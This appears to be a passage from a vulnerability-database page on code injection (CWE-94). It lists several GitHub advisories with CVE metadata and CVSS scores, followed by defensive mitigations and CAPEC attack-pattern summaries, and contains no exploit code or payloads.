"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5683"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-23298"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9XWQ-P786-GG42
Vulnerability from github – Published: 2022-05-01 18:35 – Updated: 2022-05-01 18:35Unspecified vulnerability in the Settings component in the administration system in Jeebles Directory 2.9.60 allows remote authenticated administrators to execute arbitrary PHP code via unspecified vectors related to settings.inc.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2007-5705"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-10-29T22:46:00Z",
"severity": "MODERATE"
},
"details": "Unspecified vulnerability in the Settings component in the administration system in Jeebles Directory 2.9.60 allows remote authenticated administrators to execute arbitrary PHP code via unspecified vectors related to settings.inc.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-9xwq-p786-gg42",
"modified": "2022-05-01T18:35:53Z",
"published": "2022-05-01T18:35:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5705"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/37379"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/27345"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-C244-P864-46QG
Vulnerability from github – Published: 2022-05-02 03:12 – Updated: 2022-05-02 03:12Interaction error in xdg-open allows remote attackers to execute arbitrary code by sending a file with a dangerous MIME type but using a safe type that Firefox sends to xdg-open, which causes xdg-open to process the dangerous file type through automatic type detection, as demonstrated by overwriting the .desktop file.
{
"affected": [],
"aliases": [
"CVE-2009-0068"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-01-07T19:30:00Z",
"severity": "MODERATE"
},
"details": "Interaction error in xdg-open allows remote attackers to execute arbitrary code by sending a file with a dangerous MIME type but using a safe type that Firefox sends to xdg-open, which causes xdg-open to process the dangerous file type through automatic type detection, as demonstrated by overwriting the .desktop file.",
"id": "GHSA-c244-p864-46qg",
"modified": "2022-05-02T03:12:39Z",
"published": "2022-05-02T03:12:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0068"
},
{
"type": "WEB",
"url": "https://bugs.freedesktop.org/show_bug.cgi?id=19377"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2009/01/06/1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/33137"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-C24R-PXMJ-HX9H
Vulnerability from github – Published: 2024-05-15 18:30 – Updated: 2024-05-15 18:30An issue was identified in the Identity Security Cloud (ISC) Transform preview and IdentityProfile preview API endpoints that allowed an authenticated administrator to execute user-defined templates as part of attribute transforms which could allow remote code execution on the host.
{
"affected": [],
"aliases": [
"CVE-2024-3319"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-15T16:15:11Z",
"severity": "CRITICAL"
},
"details": "An issue was identified in the Identity Security Cloud (ISC) Transform preview and IdentityProfile preview API endpoints that allowed an authenticated administrator to execute user-defined templates as part of attribute transforms which could allow remote code execution on the host.",
"id": "GHSA-c24r-pxmj-hx9h",
"modified": "2024-05-15T18:30:34Z",
"published": "2024-05-15T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3319"
},
{
"type": "WEB",
"url": "https://www.sailpoint.com/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C254-V996-G238
Vulnerability from github – Published: 2023-11-03 03:30 – Updated: 2023-11-03 03:30Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2023-36022"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-03T01:15:07Z",
"severity": "MODERATE"
},
"details": "Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability",
"id": "GHSA-c254-v996-g238",
"modified": "2023-11-03T03:30:24Z",
"published": "2023-11-03T03:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36022"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36022"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202402-05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.